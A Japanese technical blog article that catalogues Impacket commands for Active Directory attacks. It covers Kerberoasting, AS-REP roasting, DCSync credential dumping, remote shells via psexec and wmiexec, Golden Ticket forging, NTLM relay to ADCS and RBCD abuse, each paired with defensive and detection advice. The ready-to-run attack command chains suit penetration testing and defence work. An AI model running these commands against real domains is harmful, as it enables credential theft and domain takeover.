1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?

『Active Directory対策でImpacketのコマンド例別』〜攻撃ツールを知ることが最速の防御設計につながる〜

1
Posted at

要旨

 Impacket は SecureAuth(現 Fortra)が開発した Python 製のネットワークプロトコルライブラリであり、Active Directory 攻撃のデファクトスタンダードツールです[1]。Kerberoasting・AS-REP Roasting・DCSync・NTLM リレー・Pass-the-Hash・委任攻撃——本シリーズの AD 攻撃記事 で論じたすべての攻撃手法を、Impacket の各スクリプトが担います。本記事では、攻撃カテゴリ別にコマンド例を整理し、各コマンドが「何をしているのか」「なぜ危険なのか」「どう防ぐのか」 を体系化します。コマンドを丸暗記するのではなく、コマンドの背後にある AD の仕様的弱点を理解することが、防衛設計への最短経路です。


記事本文

1. Impacket とは何か——なぜ AD 攻撃のデファクトになったのか

 Impacket は SMB・Kerberos・MSRPC・LDAP・NTLM などの Windows ネットワークプロトコルを Python から直接扱えるライブラリです[1]。その上に実装された 40 以上のスクリプト群が、ペネトレーションテスト・Red Team 演習の現場で標準的に使用されています。

 Impacket が強力な理由は 「エージェントを必要としない」 という設計原則にあります。攻撃対象に新たなバイナリを送り込まなくても、正規の Windows プロトコルの範囲内で認証情報の窃取・リモートコード実行・チケット偽造が完結します[2]。これは 「正規の動作が攻撃になる」 というこのシリーズ全体を貫くテーマの象徴でもあります。

共通オプション(全スクリプト共通)

Impacket の各スクリプトはほぼ共通の認証オプションを持ちます。

# 認証方式の指定(ほぼ全スクリプトで共通)

# パスワード認証
impacket-[tool] DOMAIN/USER:PASSWORD@TARGET

# NTLM ハッシュ認証(Pass-the-Hash)
impacket-[tool] DOMAIN/USER@TARGET -hashes LMHASH:NTHASH
impacket-[tool] DOMAIN/USER@TARGET -hashes :NTHASH        # LMハッシュは不要な場合

# Kerberos チケット認証(Pass-the-Ticket)
export KRB5CCNAME=/path/to/ticket.ccache
impacket-[tool] DOMAIN/USER@TARGET -k -no-pass

# AES キー認証
impacket-[tool] DOMAIN/USER@TARGET -aesKey HEX_KEY

# DC の IP を明示的に指定(DNS が使えない環境)
impacket-[tool] DOMAIN/USER:PASSWORD@TARGET -dc-ip DC_IP

2. カテゴリ1:偵察・列挙(Reconnaissance)


2-1. lookupsid.py — SID ブルートフォースによるユーザー列挙

何をするのか: RPC エンドポイント経由で SID をブルートフォースし、ドメインユーザー・グループ・コンピューターアカウントの一覧を認証なし(または低権限)で取得します[2]。

# 匿名(認証なし)でのユーザー列挙
impacket-lookupsid DOMAIN/USER:PASSWORD@DC_IP

# null セッション(認証情報なし)を試みる場合
impacket-lookupsid anonymous@DC_IP

# 特定の RID 範囲を指定(デフォルトは 0-4000)
impacket-lookupsid DOMAIN/USER:PASSWORD@DC_IP 20000

防衛観点: 匿名アクセスで SID 列挙が可能な場合は RestrictAnonymous レジストリ値を 1 以上に設定します。RPC アクセスログ(Event ID 4624)を SIEM で監視することも有効です。


2-2. GetADUsers.py — LDAP でドメインユーザー一覧を取得

何をするのか: LDAP を使ってドメインの全ユーザーアカウント情報(パスワードの有効期限・最終ログイン・アカウント属性)を取得します[3]。

# 全ユーザーを列挙
impacket-GetADUsers -all DOMAIN/USER:PASSWORD -dc-ip DC_IP

# 特定ドメインのユーザーのみ
impacket-GetADUsers DOMAIN/USER:PASSWORD -dc-ip DC_IP

# 出力例:
# Name                  Email                           PasswordLastSet      LastLogon
# Administrator                                         <never>              2025-01-01
# krbtgt                                                2024-06-01           <never>

防衛観点: 低権限ユーザーによる大量 LDAP クエリを検知する仕組みを SIEM で構築します。LDAP クエリログは DC の Directory Service イベントログに記録されます。


2-3. rpcdump.py — RPC エンドポイントの列挙

何をするのか: エンドポイントマッパー経由で対象ホストが公開している RPC サービスの一覧を取得します。バックエンドで動いているサービス(Exchange・MSSQL など)の特定に使われます[2]。

# RPC エンドポイントの列挙
impacket-rpcdump DC_IP

# 特定ポートを指定
impacket-rpcdump DC_IP -port 135
impacket-rpcdump DC_IP -port 445

3. カテゴリ2:Kerberos 攻撃(Kerberoasting / AS-REP Roasting)


3-1. GetUserSPNs.py — Kerberoasting

何をするのか: ドメイン内で SPN(Service Principal Name)を持つサービスアカウントの TGS(サービスチケット)を要求し、オフラインでパスワードクラックできるハッシュを取得します[4]。この操作は正規のドメインユーザーであれば誰でも実行できるという Kerberos の仕様が悪用されています。

# SPN を持つアカウントの一覧表示(ハッシュ取得なし)
impacket-GetUserSPNs DOMAIN/USER:PASSWORD -dc-ip DC_IP

# TGS ハッシュをリクエストして取得(-request)
impacket-GetUserSPNs DOMAIN/USER:PASSWORD -dc-ip DC_IP -request

# ファイルに出力してハッシュクラック
impacket-GetUserSPNs DOMAIN/USER:PASSWORD -dc-ip DC_IP -request -outputfile kerberoast.hash

# 特定ユーザーのみを対象に
impacket-GetUserSPNs DOMAIN/USER:PASSWORD -dc-ip DC_IP -request-user TARGET_USER

# NTLMハッシュで認証してリクエスト
impacket-GetUserSPNs -hashes :NTHASH DOMAIN/USER -dc-ip DC_IP -request
# 取得したハッシュのオフラインクラック(Hashcat)
# RC4 暗号化チケット(-m 13100)
hashcat -m 13100 kerberoast.hash /usr/share/wordlists/rockyou.txt

# AES-256 チケット(-m 19700)
hashcat -m 19700 kerberoast.hash /usr/share/wordlists/rockyou.txt

防衛観点: サービスアカウントに gMSA(グループ管理サービスアカウント)を使い、パスワードを 100 文字以上のランダム文字列にすることでオフラインクラックを現実的に不可能にします。RC4 を無効化して AES のみを強制することも有効です[4]。


3-2. GetNPUsers.py — AS-REP Roasting

何をするのか: Kerberos 事前認証が無効(DONT_REQ_PREAUTH)なアカウントに対し、認証情報なしで AS-REP レスポンスを取得します。このレスポンスはアカウントのパスワードハッシュで暗号化されており、オフラインクラックが可能です[5]。

# ユーザーリストを使って事前認証不要アカウントを探索
impacket-GetNPUsers DOMAIN/ -dc-ip DC_IP -no-pass -usersfile users.txt

# ドメインユーザーとして認証しながら全アカウントを調査
impacket-GetNPUsers DOMAIN/USER:PASSWORD -dc-ip DC_IP -request

# hashcat 形式で出力
impacket-GetNPUsers DOMAIN/USER:PASSWORD -dc-ip DC_IP -format hashcat -outputfile asrep.hash

# john 形式で出力
impacket-GetNPUsers DOMAIN/USER:PASSWORD -dc-ip DC_IP -format john -outputfile asrep.hash
# 取得したハッシュのオフラインクラック
# Hashcat(-m 18200)
hashcat -m 18200 asrep.hash /usr/share/wordlists/rockyou.txt

# John
john --wordlist=/usr/share/wordlists/rockyou.txt asrep.hash

防衛観点: Kerberos 事前認証を無効にする正当な理由はほとんどありません。DONT_REQ_PREAUTH フラグが設定されたアカウントを定期的に PowerShell でスキャンして棚卸しします。

# 事前認証不要アカウントを探す(PowerShell)
Get-ADUser -Filter {DoesNotRequirePreAuth -eq $True} -Properties DoesNotRequirePreAuth

3-3. getTGT.py / getST.py — チケットの取得と委任攻撃

何をするのか: パスワード・ハッシュ・AES キーを使って TGT を取得し ccache ファイルに保存します。getST.py は制約付き委任(Constrained Delegation)や Resource-Based Constrained Delegation(RBCD)攻撃で使われるサービスチケットを取得します[6]。

# パスワードから TGT を取得
impacket-getTGT DOMAIN/USER:PASSWORD -dc-ip DC_IP

# NTLM ハッシュから TGT を取得(Over-Pass-the-Hash)
impacket-getTGT DOMAIN/USER -dc-ip DC_IP -hashes :NTHASH

# AES キーから TGT を取得
impacket-getTGT DOMAIN/USER -dc-ip DC_IP -aesKey AES256_HEX_KEY

# 取得したチケットを環境変数にセット
export KRB5CCNAME=/path/to/USER.ccache
# RBCD攻撃:制御するコンピューターアカウントとして任意ユーザーを偽装(S4U2Self + S4U2Proxy)
impacket-getST DOMAIN/'EVILCOMPUTER$':PASSWORD \
  -dc-ip DC_IP \
  -spn cifs/TARGET.DOMAIN \
  -impersonate Administrator

# 制約付き委任を利用したサービスチケット取得
impacket-getST DOMAIN/SVC_USER:PASSWORD \
  -dc-ip DC_IP \
  -spn http/webserver.domain.local \
  -impersonate DomainAdmin

# 取得したチケットを使ってアクセス
export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass TARGET.DOMAIN

防衛観点: RBCD 攻撃は MachineAccountQuota(デフォルト:10)を 0 にすることで大幅に制限できます。また msDS-AllowedToActOnBehalfOfOtherIdentity 属性の不審な変更を監視します(Event ID 5136)[6]。


4. カテゴリ3:認証情報の窃取(Credential Dumping)


4-1. secretsdump.py — 認証情報の全量ダンプ(最重要)

何をするのか: エージェントなしで SAM・LSA シークレット・NTDS.dit・キャッシュ済み認証情報を取得します。DL_DRSGetNCChanges()(DCSync)を使えば DC に直接ログインしなくてもドメイン全体のハッシュを取得できます[7]。

# ─── リモートダンプ(認証情報があれば実行可能)───

# SAM + LSA シークレット(ローカル管理者権限が必要)
impacket-secretsdump DOMAIN/USER:PASSWORD@TARGET_IP

# DCSync:DC から全ドメインハッシュを取得(DS-Replication 権限が必要)
impacket-secretsdump DOMAIN/USER:PASSWORD@DC_IP -just-dc

# NTLM ハッシュのみ取得(出力をコンパクトに)
impacket-secretsdump DOMAIN/USER:PASSWORD@DC_IP -just-dc-ntlm

# NTLM ハッシュ認証で DCSync
impacket-secretsdump -hashes :NTHASH DOMAIN/USER@DC_IP -just-dc-ntlm

# Kerberos 認証で DCSync
impacket-secretsdump -k -no-pass DOMAIN/USER@DC_IP -just-dc-ntlm

# 特定ユーザーのハッシュのみ取得(krbtgt ハッシュを狙う場合)
impacket-secretsdump DOMAIN/USER:PASSWORD@DC_IP -just-dc-user krbtgt
# ─── ローカルファイルからダンプ(オフライン解析)───

# レジストリハイブから(SAM / SYSTEM / SECURITY を事前にコピー)
impacket-secretsdump -sam SAM.save -system SYSTEM.save -security SECURITY.save LOCAL

# NTDS.dit から(ボリュームシャドウコピーで入手)
impacket-secretsdump -ntds ntds.dit -system SYSTEM.save LOCAL

# 出力をファイルに保存
impacket-secretsdump DOMAIN/USER:PASSWORD@DC_IP -outputfile dc_hashes

防衛観点: DS-Replication-Get-Changes 権限の定期監査が必須です。この権限を持つアカウントは DC 以外では最小限に絞ります。Event ID 4662(オブジェクトアクセス)と ID 4742(コンピューターアカウント変更)を SIEM で監視します[7]。


5. カテゴリ4:リモートコード実行(Remote Execution)


5-1. psexec.py — SMB 経由のリモートシェル

何をするのか: SMB の名前付きパイプを通じてリモートでコマンドを実行し、SYSTEM 権限のインタラクティブシェルを取得します。管理者共有(ADMIN$)への書き込みが必要です[2]。

# パスワード認証
impacket-psexec DOMAIN/USER:PASSWORD@TARGET_IP

# NTLM ハッシュで Pass-the-Hash
impacket-psexec -hashes :NTHASH DOMAIN/USER@TARGET_IP

# Kerberos チケットで Pass-the-Ticket
export KRB5CCNAME=ticket.ccache
impacket-psexec -k -no-pass DOMAIN/USER@TARGET_HOSTNAME

# 単発コマンドを実行(インタラクティブシェルを開かない)
impacket-psexec DOMAIN/USER:PASSWORD@TARGET_IP -c "whoami"

特徴と検知のポイント: バイナリを ADMIN$ にアップロードしてサービスを一時的に作成するため、ディスクへの書き込みが発生し EDR に検知されやすいです。Event ID 7045(新サービスのインストール)で検知できます。


5-2. wmiexec.py — WMI 経由のリモートシェル(より隠密)

何をするのか: Windows Management Instrumentation(WMI)を使ってリモートでコマンドを実行します。psexec.py と異なりディスクへの書き込みが不要でサービス作成も行わないため、痕跡が少なく EDR 検知を回避しやすいです[2]。

# パスワード認証(セミインタラクティブシェル)
impacket-wmiexec DOMAIN/USER:PASSWORD@TARGET_IP

# NTLM ハッシュ認証
impacket-wmiexec -hashes :NTHASH DOMAIN/USER@TARGET_IP

# Kerberos 認証
export KRB5CCNAME=ticket.ccache
impacket-wmiexec -k -no-pass DOMAIN/USER@TARGET_HOSTNAME

# 単発コマンドの実行
impacket-wmiexec DOMAIN/USER:PASSWORD@TARGET_IP -exec-method wmi "ipconfig /all"

特徴: 出力はリモートホストのファイルシステムに一時ファイルとして書かれ SMB で読み取られます。WMI ベースの実行は Event ID 4688(プロセス生成)と WMI ログで追跡できます。


5-3. smbexec.py — SMB 経由のバッチ実行

何をするのか: コマンドをバッチファイルに書き込み、SMB サービス経由で実行します。psexec.py が機能しない環境(ADMIN$ 共有が閉じているなど)での代替手段です[2]。

# パスワード認証
impacket-smbexec DOMAIN/USER:PASSWORD@TARGET_IP

# NTLM ハッシュ認証
impacket-smbexec -hashes :NTHASH DOMAIN/USER@TARGET_IP

# サービス名を指定(デフォルトはランダム)
impacket-smbexec DOMAIN/USER:PASSWORD@TARGET_IP -service-name MyService

5-4. atexec.py — AT スケジューラ経由の実行

何をするのか: Task Scheduler サービスを使ってリモートでコマンドをスケジュール実行します。他の実行手法が検知される環境での代替手段です[2]。

# スケジュールタスクとしてコマンドを実行
impacket-atexec DOMAIN/USER:PASSWORD@TARGET_IP "whoami"

# NTLM ハッシュ認証
impacket-atexec -hashes :NTHASH DOMAIN/USER@TARGET_IP "ipconfig"

5-5. dcomexec.py — DCOM 経由の実行

何をするのか: DCOM(Distributed Component Object Model)エンドポイントを使って実行します。WMI や SMB とは別のプロトコルを使うため、特定のセキュリティ製品を回避できる場合があります[3]。

# MMC20.Application を使用(ポート 135)
impacket-dcomexec -object MMC20 DOMAIN/USER:PASSWORD@TARGET_IP

# ShellWindows を使用
impacket-dcomexec -object ShellWindows DOMAIN/USER:PASSWORD@TARGET_IP

# ShellBrowserWindow を使用
impacket-dcomexec -object ShellBrowserWindow DOMAIN/USER:PASSWORD@TARGET_IP

# NTLM ハッシュ認証
impacket-dcomexec -object MMC20 -hashes :NTHASH DOMAIN/USER@TARGET_IP

リモート実行ツール比較早見表

ツール プロトコル 権限 ディスク書込み 検知難度 代表的な回避理由
psexec.py SMB SYSTEM あり(ADMIN$) 低(検知されやすい) 基本手法
wmiexec.py WMI 管理者 最小限 中(WMIログ) ステルス性が高い
smbexec.py SMB 管理者 バッチファイルのみ ADMIN$が閉じている環境
atexec.py Task Scheduler 管理者 なし 中〜高 WMI無効環境
dcomexec.py DCOM 管理者 なし 中〜高 別プロトコルで回避

6. カテゴリ5:Pass-the-Hash / Pass-the-Ticket


6-1. Pass-the-Hash(PtH)

何をするのか: NTLM ハッシュをパスワードの代わりに使って認証します。平文パスワードが不明でもハッシュがあれば横展開できます[8]。

# psexec.py での PtH(LMHASH は不要な場合 "aad3b435b51404eeaad3b435b51404ee" または空でも可)
impacket-psexec -hashes LMHASH:NTHASH DOMAIN/USER@TARGET_IP

# wmiexec.py での PtH(LM ハッシュ不要の場合は :NTHASH)
impacket-wmiexec -hashes :NTHASH DOMAIN/USER@TARGET_IP

# secretsdump での PtH(認証情報ダンプ)
impacket-secretsdump -hashes :NTHASH DOMAIN/USER@DC_IP -just-dc-ntlm

# ネットワーク全体にハッシュが通るか調べる(CrackMapExec と併用)
crackmapexec smb 192.168.1.0/24 -u USER -H NTHASH

防衛観点: Windows 11 / Server 2022 以降では Credential Guard が標準で有効化されており、LSASS のメモリダンプが大幅に困難になっています。LAPS でローカル管理者パスワードを全台異なるものに管理することで、1 台の侵害が横展開しない構造を作れます[8]。


6-2. Pass-the-Ticket(PtT)

何をするのか: 窃取・偽造した Kerberos チケット(ccache ファイル)を環境変数にセットし、そのチケットとして行動します。

# チケットを環境変数にセット(Linux / Kali)
export KRB5CCNAME=/path/to/Administrator.ccache

# チケットを使ってリモート実行
impacket-psexec -k -no-pass DOMAIN/USER@TARGET_HOSTNAME
impacket-wmiexec -k -no-pass DOMAIN/USER@TARGET_HOSTNAME
impacket-smbclient -k -no-pass DOMAIN/USER@TARGET_HOSTNAME

# チケットを使って DCSync
impacket-secretsdump -k -no-pass DOMAIN/USER@DC_HOSTNAME -just-dc-ntlm

7. カテゴリ6:チケット偽造(Golden Ticket / Silver Ticket)


7-1. ticketer.py — Golden Ticket / Silver Ticket の偽造

何をするのか: KRBTGT ハッシュ(Golden Ticket)またはサービスアカウントハッシュ(Silver Ticket)を使って Kerberos チケットを偽造します[9]。DCSync で取得した KRBTGT ハッシュがあれば、任意のユーザー・任意の有効期限でチケットを生成できます

# ─── Golden Ticket の偽造 ───
# 必要情報:KRBTGT の NTLM ハッシュ、ドメイン SID
impacket-ticketer \
  -nthash KRBTGT_NTHASH \
  -domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
  -domain DOMAIN.LOCAL \
  FakeAdmin

# AES256 キーで Golden Ticket(より正規に見える)
impacket-ticketer \
  -aesKey KRBTGT_AES256_KEY \
  -domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
  -domain DOMAIN.LOCAL \
  FakeAdmin

# 有効期限を10年に設定(デフォルトは短め)
impacket-ticketer \
  -nthash KRBTGT_NTHASH \
  -domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
  -domain DOMAIN.LOCAL \
  -duration 3650 \
  FakeAdmin
# ─── Silver Ticket の偽造 ───
# 必要情報:対象サービスアカウントの NTLM ハッシュ、ドメイン SID、SPN
impacket-ticketer \
  -nthash SVC_ACCOUNT_NTHASH \
  -domain-sid S-1-5-21-XXXXXXXXXX-XXXXXXXXXX-XXXXXXXXXX \
  -domain DOMAIN.LOCAL \
  -spn cifs/fileserver.domain.local \
  TargetUser
# 偽造チケットを使って各種操作
export KRB5CCNAME=/path/to/FakeAdmin.ccache
impacket-psexec -k -no-pass DOMAIN/FakeAdmin@DC_HOSTNAME
impacket-secretsdump -k -no-pass DOMAIN/FakeAdmin@DC_HOSTNAME -just-dc-ntlm

防衛観点: Golden Ticket への最も効果的な対策は KRBTGT アカウントのパスワードを 2 回 リセット(アカウントの最大 TGT 有効期間の 2 倍の間隔を空けて)することです。Microsoft Defender for Identity は Golden Ticket の特徴的な異常(PAC 検証の欠如・長すぎる有効期限)を検知できます[9]。


8. カテゴリ7:NTLM リレー攻撃


8-1. ntlmrelayx.py — NTLM 認証のリレー

何をするのか: Responder・PetitPotam・PrinterBug などで強制した NTLM 認証を、別のターゲット(LDAP・SMB・ADCS など)にリレーします。2026 年現在も Coercion → ntlmrelayx → ADCS → ドメイン管理者証明書取得 というチェーンが多くの企業環境で有効です[10]。

# ─── 事前準備:SMB 署名が無効なターゲットを探す ───
crackmapexec smb 192.168.1.0/24 --gen-relay-list relay_targets.txt
netexec smb 192.168.1.0/24 --gen-relay-list relay_targets.txt

# ─── SMB リレー(基本) ───
# Responder の SMB/HTTP を無効化してから起動
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support

# インタラクティブシェルを取得
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support -i

# コマンドを実行
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support -c "whoami"

# SOCKS プロキシとして使用
sudo ntlmrelayx.py -tf relay_targets.txt -smb2support -socks
# ─── LDAP へのリレー(ユーザー権限昇格) ───
# SMB 署名なし環境で LDAP にリレーして管理者権限を付与
sudo ntlmrelayx.py -t ldap://DC_IP -smb2support --escalate-user LOW_PRIV_USER

# LDAPS にリレーしてコンピューターアカウントを作成(RBCD 攻撃の準備)
sudo ntlmrelayx.py -t ldaps://DC_IP --add-computer 'EVIL$' 'Password123!' --no-dump
# ─── ADCS(Active Directory Certificate Services)へのリレー ───
# ESC8:Web Enrollment エンドポイントにリレーして DC の証明書を取得
# → DC の証明書でドメイン管理者に即時昇格
sudo ntlmrelayx.py -t http://CA_SERVER/certsrv/certfnsh.asp \
  -smb2support --adcs --template DomainController

# 取得した証明書(base64 .pfx)で TGT を取得
impacket-getTGT DOMAIN/DC_MACHINE_ACCOUNT$ -pfx-file cert.pfx

export KRB5CCNAME=DC_MACHINE_ACCOUNT$.ccache
impacket-secretsdump -k -no-pass DOMAIN/DC_MACHINE_ACCOUNT$@DC_HOSTNAME -just-dc-ntlm

防衛観点(2026年時点で最重要):

  • SMB 署名をすべてのホストで必須化(Windows Server 2025 ではデフォルト有効)
  • ADCS の Web Enrollment(HTTP)では NTLM 認証を無効化し、拡張保護(EPA)を有効化
  • LDAP 署名と LDAP チャネルバインディングを DC で必須化(KB4520412
  • CVE-2025-24054(NTLM ハッシュ漏洩バグ)に対しては即時パッチ適用[10]

9. カテゴリ8:SMB / ファイル操作


9-1. smbclient.py — SMB 共有へのアクセス

何をするのか: SMB 共有にアクセスしてファイルの一覧・取得・アップロードを行います。横展開の際の「偵察としてのファイル探索」に使われます[1]。

# SMB 共有へのアクセス(パスワード認証)
impacket-smbclient DOMAIN/USER:PASSWORD@TARGET_IP

# NTLM ハッシュ認証
impacket-smbclient -hashes :NTHASH DOMAIN/USER@TARGET_IP

# Kerberos 認証
impacket-smbclient -k -no-pass DOMAIN/USER@TARGET_HOSTNAME

# 対話型シェルで使えるコマンド例
# shares       # 共有の一覧表示
# use C$       # 共有に接続
# ls           # ファイル一覧
# get file.txt # ファイルをダウンロード
# put evil.exe # ファイルをアップロード
# 共有の列挙(一覧だけ確認)
impacket-smbclient DOMAIN/USER:PASSWORD@TARGET_IP -list TARGET_IP

9-2. Get-GPPPassword.py — GPP 設定ファイルのパスワード取得

何をするのか: グループポリシー設定ファイル(SYSVOL の groups.xml 等)に暗号化されて保存されたパスワードを復号します。鍵は Microsoft が公開しているため誰でも復号できます[3]。

# SYSVOL から GPP パスワードを取得・復号
impacket-Get-GPPPassword DOMAIN/USER:PASSWORD@DC_HOSTNAME

# 特定のファイルを指定してローカルで解析
impacket-Get-GPPPassword LOCAL -xmlfile groups.xml

防衛観点: MS14-025 のパッチ適用で新規 GPP パスワードの作成は防げますが、既存の SYSVOL に残っている古い groups.xml は手動で削除する必要があります


10. カテゴリ9:その他・補助ツール


10-1. addcomputer.py — コンピューターアカウントの追加

何をするのか: RBCD 攻撃の準備として、攻撃者が制御するコンピューターアカウントを LDAP/SAMR 経由でドメインに追加します[6]。

# LDAP 経由でコンピューターアカウントを追加
impacket-addcomputer -dc-ip DC_IP \
  -computer-name 'EVIL$' \
  -computer-pass 'Password123!' \
  DOMAIN/USER:PASSWORD

# SAMR(SMB)経由で追加
impacket-addcomputer -method SAMR -dc-ip DC_IP \
  -computer-name 'EVIL$' \
  -computer-pass 'Password123!' \
  DOMAIN/USER:PASSWORD

防衛観点: ms-DS-MachineAccountQuota(デフォルト:10)を 0 に設定することで、通常のドメインユーザーによるコンピューターアカウント追加を禁止できます。

# MachineAccountQuota を 0 に変更
Set-ADDomain -Identity DOMAIN -Replace @{"ms-DS-MachineAccountQuota"="0"}

10-2. rbcd.py — Resource-Based Constrained Delegation の設定

何をするのか: 制御するコンピューターアカウントから標的コンピューターへの RBCD を設定し、任意ユーザーの偽装を可能にします[6]。

# RBCD の設定(EVIL$ が TARGET_COMPUTER$ に委任できるよう設定)
impacket-rbcd DOMAIN/USER:PASSWORD \
  -delegate-to 'TARGET_COMPUTER$' \
  -delegate-from 'EVIL$' \
  -action write \
  -dc-ip DC_IP

# 設定確認
impacket-rbcd DOMAIN/USER:PASSWORD \
  -delegate-to 'TARGET_COMPUTER$' \
  -action read \
  -dc-ip DC_IP

# RBCD を使ってサービスチケット取得→アクセス
impacket-getST DOMAIN/'EVIL$':Password123! \
  -dc-ip DC_IP \
  -spn cifs/TARGET_COMPUTER.DOMAIN \
  -impersonate Administrator

export KRB5CCNAME=Administrator.ccache
impacket-psexec -k -no-pass DOMAIN/Administrator@TARGET_COMPUTER.DOMAIN

10-3. smbpasswd.py — SMB 経由のパスワード変更

何をするのか: SMB プロトコルを使ってドメインアカウントのパスワードを変更します。ACL 悪用(GenericAll / ResetPassword 権限)で他ユーザーのパスワードを強制変更する際に使います[3]。

# 自分のパスワードを変更
impacket-smbpasswd DOMAIN/USER:OLD_PASSWORD@DC_IP

# 古いパスワードと新しいパスワードを指定
impacket-smbpasswd -newpass 'NewPassword123!' DOMAIN/USER:PASSWORD@DC_IP

11. 防衛側の視点:Impacket で何が来るかを知って守る

 攻撃ツールを理解することの防衛側の価値は、「このログが見えたとき何が起きているか」を正確に判断できることです。

攻撃 使用ツール 検知イベント
Kerberoasting GetUserSPNs.py Event ID 4769(TGS 大量発行・RC4 暗号化)
AS-REP Roasting GetNPUsers.py Event ID 4768(事前認証なしの AS-REQ)
DCSync secretsdump.py Event ID 4662(DS-Replication 属性アクセス)
Pass-the-Hash psexec / wmiexec Event ID 4624(Logon Type 3、NTLMv2)
Golden Ticket ticketer.py Event ID 4769(存在しないアカウントの TGS 要求)
NTLM リレー ntlmrelayx.py Event ID 4624 + 送信元 IP の異常
コンピューター追加 addcomputer.py Event ID 4741(コンピューターアカウント作成)
RBCD 設定 rbcd.py Event ID 5136(msDS-AllowedToActOnBehalfOfOtherIdentity 変更)

12. セキュリティエンジニアとして考えるべきこと

 Impacket のコマンドを一覧で眺めると、「攻撃者はこれほど体系的なツールを持っている」という事実に改めて驚かされます。しかし同時に見えてくることがあります。Impacket のほとんどのコマンドは、正規の Windows プロトコルの仕様通りの操作です。

 GetUserSPNs.py は正規のチケット要求を行い、secretsdump.py は正規のレプリケーションプロトコルを使い、ntlmrelayx.py は正規の NTLM 認証を別の場所に転送するだけです。ゼロデイを使うコマンドは本リストのごく一部に過ぎません。攻撃者は AD の「設計通りの動作」を連鎖させてドメインを掌握します。

 「正規の動作が攻撃になる」というのは、AD セキュリティを考えるうえで最も重要な視点です。Impacket のコマンドを防衛側が学ぶことは、「どの正規操作が悪用されているか」を検知するための解像度を上げることに他なりません。コマンドを知ることが、ログを読む力に直結します。


参考文献

[1] CoreSecurity (Fortra). "Impacket — Official Documentation."
https://www.coresecurity.com/core-labs/impacket

[2] RouteZero Security. "Impacket Cheat Sheet for Penetration Testers." April 12, 2025.
https://routezero.security/2025/04/12/impacket-cheat-sheet-for-penetration-testers/

[3] Lisandre. "Impacket Cheat Sheet."
https://lisandre.com/cheat-sheets/impacket

[4] 0xCZR InfoSec. "Active Directory Attack Paths Cheatsheet — Kerberoasting."
https://www.0xczr.com/tools/ad_attack_paths/

[5] RBT Security. "Insider Insights: Strategies For Initial Access In An Internal Pentest Part 2." February 2, 2026.
https://www.rbtsec.com/blog/insider-insights-strategies-for-initial-access-in-an-internal-pentest-part-2/

[6] 0xCZR InfoSec. "NTLM Relay Attacks 2025: Complete Exploitation Guide from Coercion to Domain Compromise."
https://www.0xczr.com/tools/NTLM_Relay_Cheatsheet/

[7] Hacking Articles. "Active Directory Penetration Testing Using Impacket." June 23, 2025.
https://www.hackingarticles.in/active-directory-penetration-testing-using-impacket/

[8] Black Hills Information Security. "Impacket Cheatsheet." August 12, 2025.
https://www.blackhillsinfosec.com/impacket-cheatsheet/

[9] S1ckB0y1337. "Active Directory Exploitation Cheat Sheet." GitHub.
https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet

[10] Hive Security. "NTLM Relay in 2026: Microsoft Declared It Dead. Attackers Didn't Get the Memo." April 2026.
https://hivesecurity.gitlab.io/blog/ntlm-relay-attack-detect-2026/

[11] Haax.fr. "Impacket — Offensive Security Cheatsheet."
https://cheatsheet.haax.fr/windows-systems/exploitation/impacket/

[12] MITRE ATT&CK. "T1558.003 — Steal or Forge Kerberos Tickets: Kerberoasting."
https://attack.mitre.org/techniques/T1558/003/

[13] MITRE ATT&CK. "T1003.006 — OS Credential Dumping: DCSync."
https://attack.mitre.org/techniques/T1003/006/

1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1

Delete article

Deleted articles cannot be recovered.

Draft of this article would be also deleted.

Are you sure you want to delete this article?